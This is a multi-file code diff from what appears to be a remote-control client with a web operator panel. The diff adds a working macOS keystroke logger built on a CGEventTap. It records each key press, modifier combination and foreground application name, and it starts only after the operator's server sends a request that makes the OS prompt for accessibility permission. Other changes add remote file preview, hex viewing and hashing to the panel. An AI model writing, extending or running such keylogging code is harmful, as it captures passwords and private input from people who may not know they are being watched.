func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
|
func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
|||||||
@@ -33,6 +33,14 @@ type Keylogger struct {
|
|||||||
lastKeyTime time.Time
|
lastKeyTime time.Time
|
||||||
lineStarted bool
|
lineStarted bool
|
||||||
currentWindowTitle string
|
currentWindowTitle string
|
||||||
|
permissionGranted bool // set to true once OS permission has been confirmed
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsRunning returns whether the keylogger capture loop is active.
|
||||||
|
func (k *Keylogger) IsRunning() bool {
|
||||||
|
k.mu.Lock()
|
||||||
|
defer k.mu.Unlock()
|
||||||
|
return k.running
|
||||||
}
|
}
|
||||||
|
|
||||||
func New() *Keylogger {
|
func New() *Keylogger {
|
||||||
|
|||||||
@@ -1,30 +1,385 @@
|
|||||||
//go:build darwin && !nokeylogger
|
//go:build darwin && !nokeylogger && cgo
|
||||||
// +build darwin,!nokeylogger
|
// +build darwin,!nokeylogger,cgo
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
|
/*
|
||||||
|
#cgo CFLAGS: -x objective-c
|
||||||
|
#cgo LDFLAGS: -framework ApplicationServices -framework CoreFoundation -framework AppKit
|
||||||
|
|
||||||
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
|
#include <CoreFoundation/CoreFoundation.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
// Forward declaration — implemented in Go via CGo export.
|
||||||
|
extern void goOnKey(const char *chars, int len, int keyCode, int flags);
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Event tap globals
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static CFMachPortRef _tap = NULL;
|
||||||
|
static CFRunLoopSourceRef _tapSrc = NULL;
|
||||||
|
static CFRunLoopRef _tapRL = NULL;
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Keystroke callback
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static CGEventRef keyEventCallback(CGEventTapProxy proxy,
|
||||||
|
CGEventType type,
|
||||||
|
CGEventRef event,
|
||||||
|
void *refcon)
|
||||||
|
{
|
||||||
|
if (type == kCGEventKeyDown || type == kCGEventFlagsChanged) {
|
||||||
|
UniChar buf[8];
|
||||||
|
UniCharCount actualLen = 0;
|
||||||
|
|
||||||
|
if (type == kCGEventKeyDown) {
|
||||||
|
CGEventKeyboardGetUnicodeString(event, 8, &actualLen, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
int keyCode = (int)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||||
|
int flags = (int)CGEventGetFlags(event);
|
||||||
|
|
||||||
|
if (type == kCGEventKeyDown && actualLen > 0) {
|
||||||
|
// Simple UTF-16 -> UTF-8 conversion for BMP characters only
|
||||||
|
char utf8[32];
|
||||||
|
int utf8Len = 0;
|
||||||
|
for (UniCharCount i = 0; i < actualLen && utf8Len < 28; i++) {
|
||||||
|
UniChar c = buf[i];
|
||||||
|
if (c < 0x80) {
|
||||||
|
utf8[utf8Len++] = (char)c;
|
||||||
|
} else if (c < 0x800) {
|
||||||
|
utf8[utf8Len++] = (char)(0xC0 | (c >> 6));
|
||||||
|
utf8[utf8Len++] = (char)(0x80 | (c & 0x3F));
|
||||||
|
} else {
|
||||||
|
utf8[utf8Len++] = (char)(0xE0 | (c >> 12));
|
||||||
|
utf8[utf8Len++] = (char)(0x80 | ((c >> 6) & 0x3F));
|
||||||
|
utf8[utf8Len++] = (char)(0x80 | (c & 0x3F));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
utf8[utf8Len] = '\0';
|
||||||
|
goOnKey(utf8, utf8Len, keyCode, flags);
|
||||||
|
} else if (type == kCGEventFlagsChanged) {
|
||||||
|
goOnKey("", 0, keyCode, flags);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return event;
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// createEventTap — phase 1: allocate the tap (does NOT run the loop).
|
||||||
|
// Returns 0 on success, -1 on failure (no accessibility permission).
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static int createEventTap(void) {
|
||||||
|
CGEventMask mask = CGEventMaskBit(kCGEventKeyDown) |
|
||||||
|
CGEventMaskBit(kCGEventFlagsChanged);
|
||||||
|
_tap = CGEventTapCreate(kCGSessionEventTap,
|
||||||
|
kCGHeadInsertEventTap,
|
||||||
|
kCGEventTapOptionListenOnly,
|
||||||
|
mask,
|
||||||
|
keyEventCallback,
|
||||||
|
NULL);
|
||||||
|
if (!_tap) return -1;
|
||||||
|
_tapSrc = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, _tap, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// runEventTapLoop — phase 2: attach to run loop and block.
|
||||||
|
// Call from a goroutine that has been locked to an OS thread.
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static void runEventTapLoop(void) {
|
||||||
|
_tapRL = CFRunLoopGetCurrent();
|
||||||
|
CFRunLoopAddSource(_tapRL, _tapSrc, kCFRunLoopCommonModes);
|
||||||
|
CGEventTapEnable(_tap, true);
|
||||||
|
CFRunLoopRun();
|
||||||
|
// Cleanup after loop exits
|
||||||
|
CGEventTapEnable(_tap, false);
|
||||||
|
CFRunLoopRemoveSource(_tapRL, _tapSrc, kCFRunLoopCommonModes);
|
||||||
|
CFRelease(_tapSrc); _tapSrc = NULL;
|
||||||
|
CFRelease(_tap); _tap = NULL;
|
||||||
|
_tapRL = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// stopEventTapLoop — signal the run loop to exit.
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static void stopEventTapLoop(void) {
|
||||||
|
if (_tapRL) {
|
||||||
|
CFRunLoopStop(_tapRL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Permission helpers
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static int checkAccessibility(void) {
|
||||||
|
return AXIsProcessTrusted() ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int requestAccessibility(void) {
|
||||||
|
NSDictionary *opts = @{(__bridge NSString *)kAXTrustedCheckOptionPrompt: @YES};
|
||||||
|
return AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)opts) ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Window title helper
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
static char* getFrontAppName(void) {
|
||||||
|
@autoreleasepool {
|
||||||
|
NSRunningApplication *app =
|
||||||
|
[[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||||
|
if (!app) return NULL;
|
||||||
|
NSString *name = app.localizedName;
|
||||||
|
if (!name || name.length == 0) return NULL;
|
||||||
|
return strdup([name UTF8String]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
import "C"
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"time"
|
"runtime"
|
||||||
|
"sync"
|
||||||
|
"unsafe"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (k *Keylogger) captureKeystrokes() error {
|
// keyEvent holds a single key event delivered from the C tap callback.
|
||||||
log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
|
type keyEvent struct {
|
||||||
|
chars string
|
||||||
|
keyCode int
|
||||||
|
flags int
|
||||||
|
}
|
||||||
|
|
||||||
ticker := time.NewTicker(30 * time.Second)
|
// Global channel used by the C callback to deliver events to Go.
|
||||||
defer ticker.Stop()
|
// Buffered so the callback never blocks the event tap thread.
|
||||||
|
var (
|
||||||
|
keyEventCh chan keyEvent
|
||||||
|
keyEventMu sync.Mutex
|
||||||
|
)
|
||||||
|
|
||||||
for {
|
// goOnKey is called from C when a key event arrives.
|
||||||
|
//
|
||||||
|
//export goOnKey
|
||||||
|
func goOnKey(chars *C.char, length C.int, keyCode C.int, flags C.int) {
|
||||||
|
var s string
|
||||||
|
if length > 0 && chars != nil {
|
||||||
|
s = C.GoStringN(chars, length)
|
||||||
|
}
|
||||||
|
ev := keyEvent{
|
||||||
|
chars: s,
|
||||||
|
keyCode: int(keyCode),
|
||||||
|
flags: int(flags),
|
||||||
|
}
|
||||||
|
keyEventMu.Lock()
|
||||||
|
ch := keyEventCh
|
||||||
|
keyEventMu.Unlock()
|
||||||
|
if ch != nil {
|
||||||
select {
|
select {
|
||||||
case <-k.stopCh:
|
case ch <- ev:
|
||||||
return nil
|
default:
|
||||||
case <-ticker.C:
|
// Drop rather than block the callback thread
|
||||||
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// macOS virtual key codes for special keys
|
||||||
|
const (
|
||||||
|
kVK_Return = 0x24
|
||||||
|
kVK_Delete = 0x33 // Backspace on Mac
|
||||||
|
kVK_Tab = 0x30
|
||||||
|
kVK_Escape = 0x35
|
||||||
|
kVK_ForwardDelete = 0x75
|
||||||
|
kVK_LeftArrow = 0x7B
|
||||||
|
kVK_RightArrow = 0x7C
|
||||||
|
kVK_DownArrow = 0x7D
|
||||||
|
kVK_UpArrow = 0x7E
|
||||||
|
kVK_Home = 0x73
|
||||||
|
kVK_End = 0x77
|
||||||
|
kVK_PageUp = 0x74
|
||||||
|
kVK_PageDown = 0x79
|
||||||
|
kVK_F1 = 0x7A
|
||||||
|
kVK_F2 = 0x78
|
||||||
|
kVK_F3 = 0x63
|
||||||
|
kVK_F4 = 0x76
|
||||||
|
kVK_F5 = 0x60
|
||||||
|
kVK_F6 = 0x61
|
||||||
|
kVK_F7 = 0x62
|
||||||
|
kVK_F8 = 0x64
|
||||||
|
kVK_F9 = 0x65
|
||||||
|
kVK_F10 = 0x6D
|
||||||
|
kVK_F11 = 0x67
|
||||||
|
kVK_F12 = 0x6F
|
||||||
|
|
||||||
|
// CGEventFlags modifier bits
|
||||||
|
kCGEventFlagMaskCommand = 0x00100000
|
||||||
|
kCGEventFlagMaskControl = 0x00040000
|
||||||
|
kCGEventFlagMaskAlternate = 0x00080000
|
||||||
|
)
|
||||||
|
|
||||||
|
// Modifier-only key codes — we don't log standalone modifier presses.
|
||||||
|
var modifierKeyCodes = map[int]bool{
|
||||||
|
0x37: true, // Left Command
|
||||||
|
0x36: true, // Right Command
|
||||||
|
0x38: true, // Left Shift
|
||||||
|
0x3C: true, // Right Shift
|
||||||
|
0x3A: true, // Left Option/Alt
|
||||||
|
0x3D: true, // Right Option/Alt
|
||||||
|
0x3B: true, // Left Control
|
||||||
|
0x3E: true, // Right Control
|
||||||
|
0x39: true, // Caps Lock
|
||||||
|
}
|
||||||
|
|
||||||
|
var specialKeyNames = map[int]string{
|
||||||
|
kVK_Return: "[ENTER]",
|
||||||
|
kVK_Delete: "[BACKSPACE]",
|
||||||
|
kVK_Tab: "[TAB]",
|
||||||
|
kVK_Escape: "[ESC]",
|
||||||
|
kVK_ForwardDelete: "[DELETE]",
|
||||||
|
kVK_LeftArrow: "[LEFT]",
|
||||||
|
kVK_RightArrow: "[RIGHT]",
|
||||||
|
kVK_DownArrow: "[DOWN]",
|
||||||
|
kVK_UpArrow: "[UP]",
|
||||||
|
kVK_Home: "[HOME]",
|
||||||
|
kVK_End: "[END]",
|
||||||
|
kVK_PageUp: "[PAGE UP]",
|
||||||
|
kVK_PageDown: "[PAGE DOWN]",
|
||||||
|
kVK_F1: "[F1]",
|
||||||
|
kVK_F2: "[F2]",
|
||||||
|
kVK_F3: "[F3]",
|
||||||
|
kVK_F4: "[F4]",
|
||||||
|
kVK_F5: "[F5]",
|
||||||
|
kVK_F6: "[F6]",
|
||||||
|
kVK_F7: "[F7]",
|
||||||
|
kVK_F8: "[F8]",
|
||||||
|
kVK_F9: "[F9]",
|
||||||
|
kVK_F10: "[F10]",
|
||||||
|
kVK_F11: "[F11]",
|
||||||
|
kVK_F12: "[F12]",
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) captureKeystrokes() error {
|
||||||
|
// Phase 1: try to create the event tap (fails immediately if no permission).
|
||||||
|
if ret := C.createEventTap(); ret != 0 {
|
||||||
|
return fmt.Errorf("CGEventTap creation failed — accessibility permission required")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase 2: publish the event channel and run the tap on a locked OS thread.
|
||||||
|
keyEventMu.Lock()
|
||||||
|
keyEventCh = make(chan keyEvent, 512)
|
||||||
|
ch := keyEventCh
|
||||||
|
keyEventMu.Unlock()
|
||||||
|
|
||||||
|
tapDone := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
defer close(tapDone)
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
C.runEventTapLoop() // blocks until stopEventTapLoop() is called
|
||||||
|
}()
|
||||||
|
|
||||||
|
log.Printf("[keylogger] macOS CGEventTap running")
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-k.stopCh:
|
||||||
|
C.stopEventTapLoop()
|
||||||
|
<-tapDone
|
||||||
|
keyEventMu.Lock()
|
||||||
|
keyEventCh = nil
|
||||||
|
keyEventMu.Unlock()
|
||||||
|
return nil
|
||||||
|
case ev := <-ch:
|
||||||
|
k.handleDarwinEvent(ev)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) handleDarwinEvent(ev keyEvent) {
|
||||||
|
// Modifier-only events: skip
|
||||||
|
if ev.chars == "" && modifierKeyCodes[ev.keyCode] {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var keyStr string
|
||||||
|
|
||||||
|
if name, ok := specialKeyNames[ev.keyCode]; ok {
|
||||||
|
keyStr = name
|
||||||
|
} else if ev.chars != "" {
|
||||||
|
cmd := ev.flags&kCGEventFlagMaskCommand != 0
|
||||||
|
ctrl := ev.flags&kCGEventFlagMaskControl != 0
|
||||||
|
alt := ev.flags&kCGEventFlagMaskAlternate != 0
|
||||||
|
|
||||||
|
if cmd || ctrl {
|
||||||
|
keyStr = formatDarwinCombo(cmd, ctrl, alt, ev.chars)
|
||||||
|
} else {
|
||||||
|
keyStr = ev.chars
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if keyStr == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
k.logKey(keyStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatDarwinCombo(cmd, ctrl, alt bool, key string) string {
|
||||||
|
s := "["
|
||||||
|
if ctrl {
|
||||||
|
s += "CTRL+"
|
||||||
|
}
|
||||||
|
if cmd {
|
||||||
|
s += "CMD+"
|
||||||
|
}
|
||||||
|
if alt {
|
||||||
|
s += "ALT+"
|
||||||
|
}
|
||||||
|
return s + key + "]"
|
||||||
|
}
|
||||||
|
|
||||||
|
// CheckAccessibilityPermission returns true if the process already has
|
||||||
|
// macOS Accessibility permission.
|
||||||
|
func CheckAccessibilityPermission() bool {
|
||||||
|
return C.checkAccessibility() == 1
|
||||||
|
}
|
||||||
|
|
||||||
|
// RequestAccessibilityPermission displays the macOS system prompt asking the
|
||||||
|
// user to grant Accessibility permission. Returns true if permission is
|
||||||
|
// currently granted (either already was or just approved).
|
||||||
|
func RequestAccessibilityPermission() bool {
|
||||||
|
return C.requestAccessibility() == 1
|
||||||
|
}
|
||||||
|
|
||||||
func getWindowTitle() string {
|
func getWindowTitle() string {
|
||||||
return ""
|
cstr := C.getFrontAppName()
|
||||||
|
if cstr == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer C.free(unsafe.Pointer(cstr))
|
||||||
|
return C.GoString(cstr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// NeedsPermissionGate returns true on macOS: the server must request
|
||||||
|
// accessibility permission before the keylogger can start.
|
||||||
|
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// RequestPermission triggers the macOS accessibility permission prompt via
|
||||||
|
// AXIsProcessTrustedWithOptions (CGo path — native build only).
|
||||||
|
func (k *Keylogger) RequestPermission() bool {
|
||||||
|
granted := RequestAccessibilityPermission()
|
||||||
|
k.mu.Lock()
|
||||||
|
k.permissionGranted = granted
|
||||||
|
k.mu.Unlock()
|
||||||
|
return granted
|
||||||
|
}
|
||||||
|
|
||||||
|
// HasPermission checks the current accessibility permission state without
|
||||||
|
// displaying any prompt.
|
||||||
|
func (k *Keylogger) HasPermission() bool {
|
||||||
|
return CheckAccessibilityPermission()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,63 @@
|
|||||||
|
//go:build darwin && !nokeylogger && !cgo
|
||||||
|
// +build darwin,!nokeylogger,!cgo
|
||||||
|
|
||||||
|
package keylogger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func checkPermissionViaOsascript() bool {
|
||||||
|
cmd := exec.Command("osascript", "-e",
|
||||||
|
`tell application "System Events" to return name of every process`)
|
||||||
|
cmd.Stdout = nil
|
||||||
|
out, err := cmd.Output()
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return len(strings.TrimSpace(string(out))) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func requestPermissionViaOsascript() bool {
|
||||||
|
cmd := exec.Command("osascript", "-e",
|
||||||
|
`tell application "System Events" to return name of every process`)
|
||||||
|
cmd.Run() // ignore error — the prompt fires as a side effect
|
||||||
|
|
||||||
|
deadline := time.Now().Add(60 * time.Second)
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
if checkPermissionViaOsascript() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) RequestPermission() bool {
|
||||||
|
granted := requestPermissionViaOsascript()
|
||||||
|
k.mu.Lock()
|
||||||
|
k.permissionGranted = granted
|
||||||
|
k.mu.Unlock()
|
||||||
|
return granted
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) HasPermission() bool {
|
||||||
|
return checkPermissionViaOsascript()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) captureKeystrokes() error {
|
||||||
|
log.Printf("[keylogger] keystroke capture is not available in CGO-disabled darwin builds; rebuild natively on macOS")
|
||||||
|
<-k.stopCh
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getWindowTitle() string {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
@@ -1,4 +1,11 @@
|
|||||||
//go:build !windows && !linux && !darwin && !nokeylogger
|
//go:build !windows && !linux && !darwin && !nokeylogger
|
||||||
|
// Catch-all stub for platforms without a native keylogger implementation
|
||||||
|
// (FreeBSD, OpenBSD, Android, etc.).
|
||||||
|
//
|
||||||
|
// Darwin is excluded because it has its own implementations:
|
||||||
|
// - keylogger_darwin.go (darwin && cgo) — CGEventTap, full capture
|
||||||
|
// - keylogger_darwin_nocgo.go (darwin && !cgo) — osascript permission gate,
|
||||||
|
// stub capture
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
|
|||||||
@@ -15,10 +15,14 @@ type FileInfo struct {
|
|||||||
|
|
||||||
func New() *Keylogger { return nil }
|
func New() *Keylogger { return nil }
|
||||||
|
|
||||||
func (k *Keylogger) Start() error { return nil }
|
func (k *Keylogger) Start() error { return nil }
|
||||||
func (k *Keylogger) Stop() {}
|
func (k *Keylogger) Stop() {}
|
||||||
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
|
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
|
||||||
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
|
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
|
||||||
func (k *Keylogger) ClearAll() error { return nil }
|
func (k *Keylogger) ClearAll() error { return nil }
|
||||||
func (k *Keylogger) DeleteFile(string) error { return nil }
|
func (k *Keylogger) DeleteFile(string) error { return nil }
|
||||||
func (k *Keylogger) FlushNow() {}
|
func (k *Keylogger) FlushNow() {}
|
||||||
|
func (k *Keylogger) IsRunning() bool { return false }
|
||||||
|
func (k *Keylogger) NeedsPermissionGate() bool { return false }
|
||||||
|
func (k *Keylogger) RequestPermission() bool { return false }
|
||||||
|
func (k *Keylogger) HasPermission() bool { return false }
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
//go:build !darwin && !nokeylogger
|
||||||
|
// +build !darwin,!nokeylogger
|
||||||
|
|
||||||
|
package keylogger
|
||||||
|
|
||||||
|
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) RequestPermission() bool {
|
||||||
|
k.mu.Lock()
|
||||||
|
k.permissionGranted = true
|
||||||
|
k.mu.Unlock()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (k *Keylogger) HasPermission() bool {
|
||||||
|
return true
|
||||||
|
}
|
||||||
@@ -593,10 +593,19 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
|
|
||||||
env.Keylogger = keylogger.New()
|
env.Keylogger = keylogger.New()
|
||||||
if env.Keylogger != nil {
|
if env.Keylogger != nil {
|
||||||
if err := env.Keylogger.Start(); err != nil {
|
if env.Keylogger.NeedsPermissionGate() {
|
||||||
log.Printf("[keylogger] Failed to start: %v", err)
|
// macOS: do NOT start automatically. The server must send
|
||||||
} else {
|
// keylog_request_permission first, which triggers the OS prompt.
|
||||||
|
// The keylogger will be started by the command handler once
|
||||||
|
// permission is granted.
|
||||||
defer env.Keylogger.Stop()
|
defer env.Keylogger.Stop()
|
||||||
|
log.Printf("[keylogger] macOS permission gate active — waiting for server request")
|
||||||
|
} else {
|
||||||
|
if err := env.Keylogger.Start(); err != nil {
|
||||||
|
log.Printf("[keylogger] Failed to start: %v", err)
|
||||||
|
} else {
|
||||||
|
defer env.Keylogger.Stop()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ export function createFileHexHashManager({
|
|||||||
send,
|
send,
|
||||||
notifyToast,
|
notifyToast,
|
||||||
getCurrentPreviewEntry,
|
getCurrentPreviewEntry,
|
||||||
|
beforeFileRead,
|
||||||
}) {
|
}) {
|
||||||
const previewTextHeadHost = document.getElementById("preview-text-head-host");
|
const previewTextHeadHost = document.getElementById("preview-text-head-host");
|
||||||
const previewTextHead = document.getElementById("preview-text-head");
|
const previewTextHead = document.getElementById("preview-text-head");
|
||||||
@@ -50,7 +51,10 @@ export function createFileHexHashManager({
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function requestFilePeek(path, kind) {
|
async function requestFilePeek(path, kind) {
|
||||||
|
if (beforeFileRead && !(await beforeFileRead(path, kind === "hex" ? "read file bytes" : "preview file"))) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
const commandId = `peek-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
const commandId = `peek-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||||
const fileName = path.split(/[\/\\]/).pop() || "";
|
const fileName = path.split(/[\/\\]/).pop() || "";
|
||||||
peekRequests.set(commandId, { kind, path, fileName });
|
peekRequests.set(commandId, { kind, path, fileName });
|
||||||
@@ -60,10 +64,14 @@ export function createFileHexHashManager({
|
|||||||
id: commandId,
|
id: commandId,
|
||||||
payload: { path, bytes: 4096 },
|
payload: { path, bytes: 4096 },
|
||||||
});
|
});
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
function openHexViewer(path) {
|
async function openHexViewer(path) {
|
||||||
if (!hexViewerModal) return;
|
if (!hexViewerModal) return;
|
||||||
|
if (beforeFileRead && !(await beforeFileRead(path, "read file bytes"))) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
const fileName = path.split(/[\/\\]/).pop() || "";
|
const fileName = path.split(/[\/\\]/).pop() || "";
|
||||||
if (hexViewerFile) hexViewerFile.textContent = fileName;
|
if (hexViewerFile) hexViewerFile.textContent = fileName;
|
||||||
if (hexViewerBody) hexViewerBody.innerHTML = '<div class="text-slate-400"><i class="fa-solid fa-circle-notch fa-spin mr-2"></i>Loading...</div>';
|
if (hexViewerBody) hexViewerBody.innerHTML = '<div class="text-slate-400"><i class="fa-solid fa-circle-notch fa-spin mr-2"></i>Loading...</div>';
|
||||||
@@ -153,7 +161,10 @@ export function createFileHexHashManager({
|
|||||||
previewTextHeadHost?.classList.remove("hidden");
|
previewTextHeadHost?.classList.remove("hidden");
|
||||||
}
|
}
|
||||||
|
|
||||||
function requestFileHash(path, source) {
|
async function requestFileHash(path, source) {
|
||||||
|
if (beforeFileRead && !(await beforeFileRead(path, "read file"))) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
const commandId = `hash-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
const commandId = `hash-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||||
const fileName = path.split(/[\/\\]/).pop() || "";
|
const fileName = path.split(/[\/\\]/).pop() || "";
|
||||||
hashRequests.set(commandId, { path, fileName, source });
|
hashRequests.set(commandId, { path, fileName, source });
|
||||||
@@ -164,6 +175,7 @@ export function createFileHexHashManager({
|
|||||||
payload: { path, algorithm: "sha256" },
|
payload: { path, algorithm: "sha256" },
|
||||||
});
|
});
|
||||||
notifyToast(`Hashing ${fileName}...`, "info", 2500);
|
notifyToast(`Hashing ${fileName}...`, "info", 2500);
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleFileHashResult(msg) {
|
function handleFileHashResult(msg) {
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ export function createFilePreviewModal({
|
|||||||
clientId,
|
clientId,
|
||||||
notifyToast,
|
notifyToast,
|
||||||
onDownload,
|
onDownload,
|
||||||
|
beforeFileRead,
|
||||||
}) {
|
}) {
|
||||||
const filePreviewModal = document.getElementById("file-preview-modal");
|
const filePreviewModal = document.getElementById("file-preview-modal");
|
||||||
const previewFileNameEl = document.getElementById("preview-file-name");
|
const previewFileNameEl = document.getElementById("preview-file-name");
|
||||||
@@ -43,6 +44,10 @@ export function createFilePreviewModal({
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (beforeFileRead && !(await beforeFileRead(path, "preview file"))) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
currentPreviewPath = path;
|
currentPreviewPath = path;
|
||||||
if (previewFileNameEl) previewFileNameEl.textContent = fileName;
|
if (previewFileNameEl) previewFileNameEl.textContent = fileName;
|
||||||
if (previewContent) previewContent.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin text-slate-400 text-2xl"></i>';
|
if (previewContent) previewContent.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin text-slate-400 text-2xl"></i>';
|
||||||
|
|||||||
@@ -32,6 +32,8 @@ const pendingCommandWaiters = new Map();
|
|||||||
const VIRTUALIZATION_THRESHOLD = 400;
|
const VIRTUALIZATION_THRESHOLD = 400;
|
||||||
const VIRTUAL_ROW_HEIGHT = 58;
|
const VIRTUAL_ROW_HEIGHT = 58;
|
||||||
const VIRTUAL_OVERSCAN = 8;
|
const VIRTUAL_OVERSCAN = 8;
|
||||||
|
const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`;
|
||||||
|
const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths());
|
||||||
|
|
||||||
let directoryEntries = [];
|
let directoryEntries = [];
|
||||||
let filteredDirectoryEntries = [];
|
let filteredDirectoryEntries = [];
|
||||||
@@ -297,8 +299,14 @@ function handleMessage(msg) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function listFiles(path, socket = ws) {
|
async function listFiles(path, socket = ws, options = {}) {
|
||||||
if (currentPath && currentPath !== path) {
|
const { resetHistory = false, skipHistory = false } = options;
|
||||||
|
if (!(await confirmMacPermissionRisk(path, "open folder"))) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (resetHistory) {
|
||||||
|
pathHistory = [];
|
||||||
|
} else if (!skipHistory && currentPath && currentPath !== path) {
|
||||||
pathHistory.push(currentPath);
|
pathHistory.push(currentPath);
|
||||||
}
|
}
|
||||||
currentPath = path;
|
currentPath = path;
|
||||||
@@ -306,6 +314,7 @@ function listFiles(path, socket = ws) {
|
|||||||
updateBreadcrumb(path);
|
updateBreadcrumb(path);
|
||||||
updatePathInput(path);
|
updatePathInput(path);
|
||||||
updateBackButton();
|
updateBackButton();
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
function updatePathInput(path) {
|
function updatePathInput(path) {
|
||||||
@@ -318,20 +327,175 @@ function updateBackButton() {
|
|||||||
backBtn.classList.toggle("cursor-not-allowed", pathHistory.length === 0);
|
